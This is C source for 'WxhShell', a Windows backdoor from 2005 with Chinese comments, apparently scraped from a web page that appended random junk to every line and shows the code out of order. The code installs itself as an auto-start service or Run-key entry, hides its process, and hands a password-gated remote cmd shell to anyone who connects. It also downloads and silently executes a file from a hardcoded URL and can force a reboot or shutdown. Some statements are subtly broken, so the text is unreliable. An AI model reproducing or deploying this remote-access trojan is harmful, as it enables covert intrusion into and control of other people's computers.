    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6|6O| <o  
    if(Boot(SHUTDOWN)) cI7aTLC"s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "6%qi qt  
    else { L&5zr_  
    closesocket(wsh); oq>jCOVh  
    ExitThread(0); ?WS.RBe2  
    } #H8QX5b)  
    break; Z0V6cikW6  
    } Q"LlBp>t|#  
  // 获取shell sG|,#XQ  
  case 's': { ^d9o \  
    CmdShell(wsh); 6k7x7z  
    closesocket(wsh); *TxR2pC}  
    ExitThread(0); %3K'[2F  
    break; PIsXX#`7;  
  } s2+_`Ogg  
  // 退出 Kt"4<'  
  case 'x': { _Mh..#)`[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :`@W`V?6-  
    CloseIt(wsh); Sc]h^B^7  
    break; JJ_KfnH  
    } 7Z81+I|&8  
  // 离开 ]7|qhAh<L  
  case 'q': { THwq~c'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fL&e^Q  
    closesocket(wsh); (b.Mtd  
    WSACleanup(); 2m&?t_W  
    exit(1); (Y?}'?  
    break; 0}Q d  
        } HN&]`cr;  
  } 8 vvNn>Q  
  } }OgZZ8-_M  
3KKq1][  
  // 提示信息 f(-3d*g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {\k:?w4  
} BQ!_i*14+  
  } A6Wtzt2i  
4?x$O{D5?{  
  return; &y2DI"Ff  
} x Sv@K5"8!  
 8U-<Q>  
// shell模块句柄 8{Wh4~|+  
int CmdShell(SOCKET sock) niCq`!  
{ sQ82(N7l  
STARTUPINFO si; =XUt?5  
ZeroMemory(&si,sizeof(si)); myZ8LQ&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z-kB!~r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !wjD6 NK  
PROCESS_INFORMATION ProcessInfo; 8qq'q"g  
char cmdline[]="cmd"; GYri\<[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xC$CRzAe5p  
  return 0; HD}3mP  
} cvnRd.&  
^0"[l {  
// 自身启动模式 /gLi(Uw  
int StartFromService(void) Zu^J X/um  
{ EMS$?"K  
typedef struct Y &*nj`n  
{ ` H|#l\  
  DWORD ExitStatus; [PU0!W;  
  DWORD PebBaseAddress; !~f!O"n)3r  
  DWORD AffinityMask; |+Ub3<b[]  
  DWORD BasePriority; #xxs^Kbqa#  
  ULONG UniqueProcessId; gG46hO-M%x  
  ULONG InheritedFromUniqueProcessId; y/Q,[Uzk\  
}   PROCESS_BASIC_INFORMATION; +q~dS.  
H:L<gv(rG  
PROCNTQSIP NtQueryInformationProcess; ;c>IM]  
4p/d>DTiM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4ko(bW#jL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =a./HCF  
7Dx <Sr!  
  HANDLE             hProcess; C5'#0}6i  
  PROCESS_BASIC_INFORMATION pbi; ;jT@eBJ  
iED gcg7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @RI\CqFHR  
  if(NULL == hInst ) return 0; 5!d'RBO   
oOy_2fwZPp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j}@n`[V1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ns !Mqcm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4VfZw\^  
25jgM!QBXF  
  if (!NtQueryInformationProcess) return 0; X\LiV{c  
#ZpR.$`k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7-MkfWH2b6  
  if(!hProcess) return 0; AU^5N3%j  
!qVnziE,,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8 gzf$Oc  
Z"'tJ3Y.~  
  CloseHandle(hProcess); LO M-i>  
c{K[bppJ*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $<s 3;>t  
if(hProcess==NULL) return 0; %C(^v)"  
0N>R!  
HMODULE hMod; l)( 3]  
char procName[255]; A<s9c=d6  
unsigned long cbNeeded; qCgoB 0  
SpX6PwM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '#@tovr  
qFYM2  
  CloseHandle(hProcess); ju?D=n@i  
G^/8lIj  
if(strstr(procName,"services")) return 1; // 以服务启动 rnTjw "%  
$y+Bril5W  
  return 0; // 注册表启动 o@tc   
} Eh&HN-&  
H)l7:a  
// 主模块 I Z{DR  
int StartWxhshell(LPSTR lpCmdLine) l^E)XWd  
{ c0u1L@tj  
  SOCKET wsl; "AUHe6Yv  
BOOL val=TRUE; .=<<b|  
  int port=0; ?mJ&zf|B8  
  struct sockaddr_in door; M[7$cfp-Y~  
_mn2bc9M  
  if(wscfg.ws_autoins) Install(); ORP-@-dap  
lr_c  
port=atoi(lpCmdLine); P+t`Rw  
Ov PTgiI!N  
if(port<=0) port=wscfg.ws_port; "s5[w+,R  
,$<="kJk  
  WSADATA data; wW+@3bPl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $ z 5  
eJwHeG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *3]_Huw<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vX/("[  
  door.sin_family = AF_INET; b;%>?U`>p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :927y  
  door.sin_port = htons(port); &pZn cm  
RYuR&0_{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zyi;vu  
closesocket(wsl); w_]`)$9  
return 1; p? L*vcU  
} k]9v${Ke  
'WQ?%da  
  if(listen(wsl,2) == INVALID_SOCKET) { 8rY[Q(]  
closesocket(wsl); {<1 ]cP  
return 1; y$C\b\hM  
} ErXzKf  
  Wxhshell(wsl); u</LgOP`-  
  WSACleanup(); <P1yA>=3`  
:M _N  
return 0; 8%Hc%T[RnT  
lLi)?  
} K)[DA*W  
%{HeXe  
// 以NT服务方式启动 p]erk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ] g]^^  
{ {f:%+h  
DWORD   status = 0; WYXh1_nyk  
  DWORD   specificError = 0xfffffff; pW4$$2S?9  
/ U5!]7&gB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RJk42;]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nBJ'ak   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Uon^z?0A  
  serviceStatus.dwWin32ExitCode     = 0; ?0J&U4  
  serviceStatus.dwServiceSpecificExitCode = 0; c$#7Kp4  
  serviceStatus.dwCheckPoint       = 0;  -#<AbT  
  serviceStatus.dwWaitHint       = 0; Cu&y',ee~  
zVyMmw\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -"~XI~a@Wo  
  if (hServiceStatusHandle==0) return; {7Q)2NC  
b:t|9 FE%  
status = GetLastError(); j;SK{Oq  
  if (status!=NO_ERROR) )]M,OMYq-  
{ %v)O!HC}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h1REL^!c  
    serviceStatus.dwCheckPoint       = 0; OH/!Ky\@  
    serviceStatus.dwWaitHint       = 0; 6Mh"{N7  
    serviceStatus.dwWin32ExitCode     = status; #Q'j^y 7=z  
    serviceStatus.dwServiceSpecificExitCode = specificError; V18 A|]k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bx 9v2x.  
    return; d.Ep#4  
  } GLWEoV9<  
$@^*lUw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v1}9i3Or#  
  serviceStatus.dwCheckPoint       = 0; ~6Pv5DKq  
  serviceStatus.dwWaitHint       = 0; 8$`$24Wx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~KP@wD~  
} vef9*u`  
{u)>W@Lr  
// 处理NT服务事件,比如:启动、停止 SS*3Qx:[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ci(c`1av  
{ ( we)0AxF'  
switch(fdwControl) ;fe~PPT  
{ 0"J0JcFX  
case SERVICE_CONTROL_STOP:  BDfJ  
  serviceStatus.dwWin32ExitCode = 0; Ym|%ka  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E)F#Z=)  
  serviceStatus.dwCheckPoint   = 0; \zLKSJ]  
  serviceStatus.dwWaitHint     = 0; [PX%p ;"D  
  { nAaY5s0D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xVN(It7g  
  } ;:obg/;uJ  
  return; Tnoy#w}Ve  
case SERVICE_CONTROL_PAUSE: 7&&3@96<*#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tE WolO[\  
  break; 7A"v:e  
case SERVICE_CONTROL_CONTINUE: z9Nial`p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <%?!3 n*  
  break; c"lblt5  
case SERVICE_CONTROL_INTERROGATE: QERj`/g  
  break; w:aV2  
}; A9Icn>3?`(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F[KM0t!  
} `G:I|=#w  
*aW:Z6N  
// 标准应用程序主函数 QWwdtk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )|wC 1J!L  
{ {H3B1*Dk  
i F \H  
// 获取操作系统版本 `z$=J"%? y  
OsIsNt=GetOsVer(); i5cK5MaD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j: E3c\a  
=z!/:M  
  // 从命令行安装 unc8WXW  
  if(strpbrk(lpCmdLine,"iI")) Install(); L<k(stx~  
46U*70  
  // 下载执行文件 RQYD#4|  
if(wscfg.ws_downexe) { o1R:1!"2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c2Wp 8l  
  WinExec(wscfg.ws_filenam,SW_HIDE); MSE0z !t  
} {t!Pv 2y<  
S SfNI>  
if(!OsIsNt) { d <RJH  
// 如果时win9x,隐藏进程并且设置为注册表启动 w@WPp0mny  
HideProc(); Fv<3VKueK[  
StartWxhshell(lpCmdLine); _N:GZLG  
} UM2yv6:/  
else =[,EFkU?B  
  if(StartFromService()) MdhD "Q  
  // 以服务方式启动 Q zp!)i  
  StartServiceCtrlDispatcher(DispatchTable); RQ;w$I\  
else $Y M(NC  
  // 普通方式启动 C#n.hgo>I  
  StartWxhshell(lpCmdLine); tMH 2  
M|fC2[]v B  
return 0; B`)TRt+'.  
} \aN7[>R.Q  
*alifdp  
{Z1KU8tp  
{q! :t0X.Y  
=========================================== lvx[C7?  
HCT+.n6  
u#UtPF7q  
.uSVZqJ7  
_rg*K  
?[;>1+D  
"  De2$:?  
w=FU:q/  
#include <stdio.h> ^l<!:SS  
#include <string.h> k}C4:?AT  
#include <windows.h> WO6R04+WV  
#include <winsock2.h> qM<CBcON  
#include <winsvc.h> k$GtzjN  
#include <urlmon.h> 2~R%_r+<  
5Q\ hd*+g  
#pragma comment (lib, "Ws2_32.lib") wjXv{EsMq  
#pragma comment (lib, "urlmon.lib") #v; :K8  
=IKgi-l*  
#define MAX_USER   100 // 最大客户端连接数 Gk xtGe  
#define BUF_SOCK   200 // sock buffer wg<t*6&'x  
#define KEY_BUFF   255 // 输入 buffer ]k8f1F  
f@2F!  
#define REBOOT     0   // 重启 3$S~!fh  
#define SHUTDOWN   1   // 关机 ZW4$Ks2]Y  
h>F"GR?U_(  
#define DEF_PORT   5000 // 监听端口 q4v:s   
5O;D\M{>  
#define REG_LEN     16   // 注册表键长度 l#~pK6@W  
#define SVC_LEN     80   // NT服务名长度 R90#T6^  
AH-BZ8  
// 从dll定义API \OXQ%J2v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]( FFvqA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @,9YF }  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z/T( 4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tSe[*V4{'  
XRHngW_A  
// wxhshell配置信息 uPxJwWXO  
struct WSCFG { `{m,&[ n  
  int ws_port;         // 监听端口 %j/pln&  
  char ws_passstr[REG_LEN]; // 口令 KcUR /o5K  
  int ws_autoins;       // 安装标记, 1=yes 0=no X]o"4#CQIX  
  char ws_regname[REG_LEN]; // 注册表键名 B#?rW*yEe  
  char ws_svcname[REG_LEN]; // 服务名 'S|7<<>4k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +,cd$,18  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ra2{8 x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F]fXS-@ c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z,bK.KFSs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ym+Ezb#o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j#xGB]  
"dT"6,  
}; 10)RLh|+  
{T-^xwc  
// default Wxhshell configuration 1 e]D=2y  
struct WSCFG wscfg={DEF_PORT, Z;,G:@,  
    "xuhuanlingzhe", 0 vYG#S  
    1, \ C>+ubF  
    "Wxhshell", Zl{9G?abCT  
    "Wxhshell", `sDLxgwI  
            "WxhShell Service", 2j#Dwa(lZQ  
    "Wrsky Windows CmdShell Service", U#&+n-npO  
    "Please Input Your Password: ", Kr[oP3  
  1, s4QCun~m  
  "http://www.wrsky.com/wxhshell.exe", )%PMDG|  
  "Wxhshell.exe" {pA&Q{ ^  
    }; mi.,Z`]o  
kBxEp/y  
// 消息定义模块 W 1u!&:O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v*&j A 8D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y`#6MhFT7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m'N8[ o|h  
char *msg_ws_ext="\n\rExit."; wa~zb!y<  
char *msg_ws_end="\n\rQuit."; /]U;7)  
char *msg_ws_boot="\n\rReboot..."; (G/(w%#7_  
char *msg_ws_poff="\n\rShutdown..."; R>]7l!3^1  
char *msg_ws_down="\n\rSave to "; z~==7:Os  
D/JSIDd  
char *msg_ws_err="\n\rErr!"; }+Q4s]  
char *msg_ws_ok="\n\rOK!"; b^&azUkMN  
bWSc&/ 9y  
char ExeFile[MAX_PATH]; 9 )!}  
int nUser = 0; |28'<BL  
HANDLE handles[MAX_USER]; ;xiwyfqgE  
int OsIsNt;  axDa&7%  
>rJ**y  
SERVICE_STATUS       serviceStatus; cGR)$:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #C~ </R%  
c*]f#yr?  
// 函数声明 gcB hEw  
int Install(void); ^b|I^TN0  
int Uninstall(void); =<7z :]  
int DownloadFile(char *sURL, SOCKET wsh); |a a\t  
int Boot(int flag); K&RIF]0#G  
void HideProc(void); 4HR36=E6  
int GetOsVer(void); ' Ttsscv  
int Wxhshell(SOCKET wsl); 3l,-n|x  
void TalkWithClient(void *cs); *8uS,s6g  
int CmdShell(SOCKET sock); o"FR% %  
int StartFromService(void); e!o\AB%d  
int StartWxhshell(LPSTR lpCmdLine); '7/F]S0K  
5IOGH*'U8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); em5~4;&'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DA04llX~  
=mF"D:s*  
// 数据结构和表定义 >3pT).wH|M  
SERVICE_TABLE_ENTRY DispatchTable[] = TOF V`7q;3  
{ RwYFBc  
{wscfg.ws_svcname, NTServiceMain}, S3i p?9  
{NULL, NULL} *^Ges;5 $"  
}; 9bM kP2w>  
4c95G^dZ  
// 自我安装 \uZ|2WG`  
int Install(void) 8|<</v8i  
{ =[&+R9s  
  char svExeFile[MAX_PATH]; 6)*B%$?x  
  HKEY key; _ E-\aS{  
  strcpy(svExeFile,ExeFile); _)~1'tCs}h  
qp/1 tC`  
// 如果是win9x系统,修改注册表设为自启动 [f! { -T  
if(!OsIsNt) { bJ 2>@|3*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Shn=Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vz>9jw:Y  
  RegCloseKey(key); a!/\:4-uc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X 6tJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x,]x>Up  
  RegCloseKey(key); JN4gH4ez)  
  return 0; e^3D`GA  
    } K;WQV,  
  } ok0ZI>=,  
} |m6rF7Q  
else { a/J Mg   
0nL #-`S  
// 如果是NT以上系统,安装为系统服务 Yj*T'<e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~CbiKez  
if (schSCManager!=0) ^<-)rzTI  
{ 2O*At%CzW  
  SC_HANDLE schService = CreateService 6W{Nw<  
  ( +Ugy=678Tr  
  schSCManager, 8>W52~^fU  
  wscfg.ws_svcname, leb/D>y  
  wscfg.ws_svcdisp, !=PH5jTY  
  SERVICE_ALL_ACCESS, @TD=or .&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U#S-x5Gn  
  SERVICE_AUTO_START, 2 oV6#!{Z  
  SERVICE_ERROR_NORMAL, F6111Q </  
  svExeFile, 1^*ogMe  
  NULL, 4v |i\V>M  
  NULL, D!! B4zt  
  NULL, yYYP;N?g4k  
  NULL, [5!}+8]W  
  NULL KXDnhV f  
  ); 0%%U7GFB5  
  if (schService!=0) 2>o^@4PnZ  
  { nDO7  
  CloseServiceHandle(schService); K-)!d$$   
  CloseServiceHandle(schSCManager); D_0sXIbg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ybqmPT'|_  
  strcat(svExeFile,wscfg.ws_svcname); )W>$_QxbN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T#i;=NP"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y6tqemz  
  RegCloseKey(key); yP"}(!~m  
  return 0; |;xEK nF  
    } d~rA`!s7`  
  } &9)/"  
  CloseServiceHandle(schSCManager); v%AepK&  
} 5,s@K>9l;  
} F-rhxJd  
]&"ii  
return 1; `h'l"3l  
} )^ZC'[93  
H v/5)  
// 自我卸载 fs;\_E[)  
int Uninstall(void) V^R,j1*  
{ " "m-5PGYo  
  HKEY key; 9  @ <  
d^nO&it  
if(!OsIsNt) { gC(S(osF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4'dN7E1*f  
  RegDeleteValue(key,wscfg.ws_regname);  %G\nl  
  RegCloseKey(key); 8y<.yfgG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <mlN\BcX;  
  RegDeleteValue(key,wscfg.ws_regname); l+>Y  
  RegCloseKey(key); !;h&@LXG(  
  return 0; 2 G2+oS ?  
  } h)ZqZ'k$  
} B }euIQB  
} F nXm;k,9*  
else { |8~)3P k  
TP {\V>*Yz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CEkUXsp  
if (schSCManager!=0) bRyxP2  
{ ym%` l!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1uN;JN `_  
  if (schService!=0) f3G:J<cL  
  { Z8FgxR  
  if(DeleteService(schService)!=0) { <!FcQVH+L  
  CloseServiceHandle(schService); ]s0wJD=  
  CloseServiceHandle(schSCManager); ZCj1Cz]"l<  
  return 0; SyI~iW#Y1  
  } Qt {){uE  
  CloseServiceHandle(schService); iTq&h=(n  
  } tt2 S.j  
  CloseServiceHandle(schSCManager); oF>`>  
} Z81;Y=(  
} 9/e>%1.  
 c`\/]  
return 1; 1!G}*38;  
} XZ]ji9'  
yOQae m^O  
// 从指定url下载文件 gAorb\iJ  
int DownloadFile(char *sURL, SOCKET wsh) iYvzZ7 8f  
{ %m f)BC  
  HRESULT hr; C.:S@{sK  
char seps[]= "/"; M^Z=~512g  
char *token; !KOa'Ic$V  
char *file; e,p*R?Y{[  
char myURL[MAX_PATH]; z"yW):X  
char myFILE[MAX_PATH]; mOh?cjOi  
aWJ BYw6{L  
strcpy(myURL,sURL); PkyX,mr#1  
  token=strtok(myURL,seps); c}n66qJF5  
  while(token!=NULL) OYt_i'Q  
  { 4hxP`!<  
    file=token; S-o )d  
  token=strtok(NULL,seps); P HOngn  
  } qx1Js3%  
j>;1jzr2}  
GetCurrentDirectory(MAX_PATH,myFILE); -ak. wwx\  
strcat(myFILE, "\\"); FWW@t1)  
strcat(myFILE, file); syg{qtBz^  
  send(wsh,myFILE,strlen(myFILE),0); 3e^0W_>6  
send(wsh,"...",3,0); 0(Y,Q(JTo&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); = FV12(U  
  if(hr==S_OK) V6[jhdb  
return 0; qGH[kd  
else )@I] Rk?  
return 1; +C7E]0!r  
pXlqE,  
} 0nCiN;sA  
 w (RRu~J  
// 系统电源模块 TO5y.M|7  
int Boot(int flag) ibZ[U p?  
{ \8<[P(!3  
  HANDLE hToken; 2HBey  
  TOKEN_PRIVILEGES tkp; aW dI  
U W8yu.`?  
  if(OsIsNt) { u;H^4} OQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !y~nsy:&7x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); * bYU=RS  
    tkp.PrivilegeCount = 1; `ql8y'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]5QXiF8`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^_\m@   
if(flag==REBOOT) { `lOW7Z}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^&86VBP  
  return 0; v\8v'EDP  
} H/M]YUs/3  
else { tlD^"eq4:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5<`83; R9  
  return 0; qzvht4  
} QeFt WjlqC  
  } (n.IK/:  
  else { iOhX\@&  
if(flag==REBOOT) { Q`'cxx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3=oxT6"k  
  return 0; F7jkl4  
} =J)-#|eZG  
else { SC%HHu\l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hM!g6\ w  
  return 0; zj2y=A| Y  
} z7XI`MZN^  
} l3^'bp6HQ  
0iM'),v[]  
return 1; ^ op0" #B  
} HU/4K7e`  
&L?]w=*  
// win9x进程隐藏模块 eP:\\; ;  
void HideProc(void) l$j~p=S$F  
{ X6Z/xb@  
q {   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); > O?<?  
  if ( hKernel != NULL ) .YvIVQ  
  { W f8@ B#^{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BjPU@rS .U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LqI&1$#  
    FreeLibrary(hKernel); N-2_kjb!  
  } B f  y  
A#?Cts ,M  
return; 0Cf'\2  
} /mp!%j~  
V\L%*6O  
// 获取操作系统版本 &$2d=q8mh  
int GetOsVer(void) jPz1W4pk  
{ >#&25,Q  
  OSVERSIONINFO winfo; OY81|N j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 F39'  
  GetVersionEx(&winfo); #+_=(J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KwaxNb5  
  return 1; T zS?WYF  
  else ,d lq2  
  return 0; i9qIaG/  
} sl@>GbnS  
4HZXv\$  
// 客户端句柄模块 2 #yDVN$  
int Wxhshell(SOCKET wsl) N$t<&5 +  
{ pN9U1!|uam  
  SOCKET wsh; 6hR ` sE  
  struct sockaddr_in client; C7W<7DBf  
  DWORD myID; <3j`Z1J  
c+z [4"rYL  
  while(nUser<MAX_USER) x<rS2d-Y  
{ P~lU`.X}  
  int nSize=sizeof(client); `S4*~Xx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3:#6/@wQ  
  if(wsh==INVALID_SOCKET) return 1; sqV~ Dw  
hg<[@Q%$o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -CFy   
if(handles[nUser]==0) ; }T+ImjA  
  closesocket(wsh); {0+WVZ4u  
else pQc-}o"  
  nUser++; {"$ [MYi:  
  } JJg;X :p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M,kO7g  
$.w$x1  
  return 0; C,mfA%63  
} OJA_OqVp$K  
ojm IEzsz  
// 关闭 socket 3HcduJntl  
void CloseIt(SOCKET wsh) Fkpaou  
{ 0:I<TJ~P  
closesocket(wsh); #ucb  
nUser--; jy>?+hm?  
ExitThread(0); 8b-mW>xsA  
} }:$ot18  
$'eY-U8q  
// 客户端请求句柄 -w"lW7  
void TalkWithClient(void *cs) :r "G Z  
{ ;-"q;&1e  
]o=ON95ja  
  SOCKET wsh=(SOCKET)cs; O x`K7$)  
  char pwd[SVC_LEN]; Sa@'?ApH  
  char cmd[KEY_BUFF]; L[nDjQn"  
char chr[1]; {' 0#<Z  
int i,j; ?VRsgV'$  
]2|fc5G'  
  while (nUser < MAX_USER) { nq>F_h  
$~1mKx]]  
if(wscfg.ws_passstr) { Val"vUZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b3 =Z~iLv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [MbbL  
  //ZeroMemory(pwd,KEY_BUFF); Tjv'S <  
      i=0; aqQ+A:g  
  while(i<SVC_LEN) { 8* #$ 3e  
Bv jsl  
  // 设置超时 BAvz @H  
  fd_set FdRead; o6~JAvw  
  struct timeval TimeOut; \Z42EnJ  
  FD_ZERO(&FdRead); `s UY$Q  
  FD_SET(wsh,&FdRead); `[}X_d 1A  
  TimeOut.tv_sec=8; }><[6Uz%  
  TimeOut.tv_usec=0; 9MI9$s2y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z'!ORn#M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {{M/=WqC  
E6O!e<ze^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O8" t.W  
  pwd=chr[0]; s>\^dtG7  
  if(chr[0]==0xd || chr[0]==0xa) { GB pdj}2=  
  pwd=0; n=$ne2/  
  break; .<fdX()e,  
  } Q}<QE:-&E  
  i++; +|X`cmnuU  
    } <Ist^ h+o  
a 8Xwz@ M  
  // 如果是非法用户,关闭 socket |sFd5X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (5th   
} #Oj yUQ,  
mPQT%%MF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wWf_d jd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tk h *su  
?Y8hy|`  
while(1) { $X/'BCb  
Jn| i!  
  ZeroMemory(cmd,KEY_BUFF); BgdUG:;&  
:wg=H  
      // 自动支持客户端 telnet标准   * ]bB7  
  j=0; QZ;DZMP  
  while(j<KEY_BUFF) { #l: 1R&F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ErJ@$&7  
  cmd[j]=chr[0]; BV7P_!vt  
  if(chr[0]==0xa || chr[0]==0xd) { X2% (=B  
  cmd[j]=0; ohe[rV>EX  
  break; ao.vB']T  
  } 0MxK+8\y  
  j++; SVd@- '-K  
    } >35w"a7S  
_$D!"z7i  
  // 下载文件 h. ftl2>  
  if(strstr(cmd,"http://")) { qAbmQ{|w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fXl2i]L(^B  
  if(DownloadFile(cmd,wsh)) C%]qK(9vvd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #s\kF *  
  else aTeW#:m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $2i@@#g8  
  } SVn@q|N  
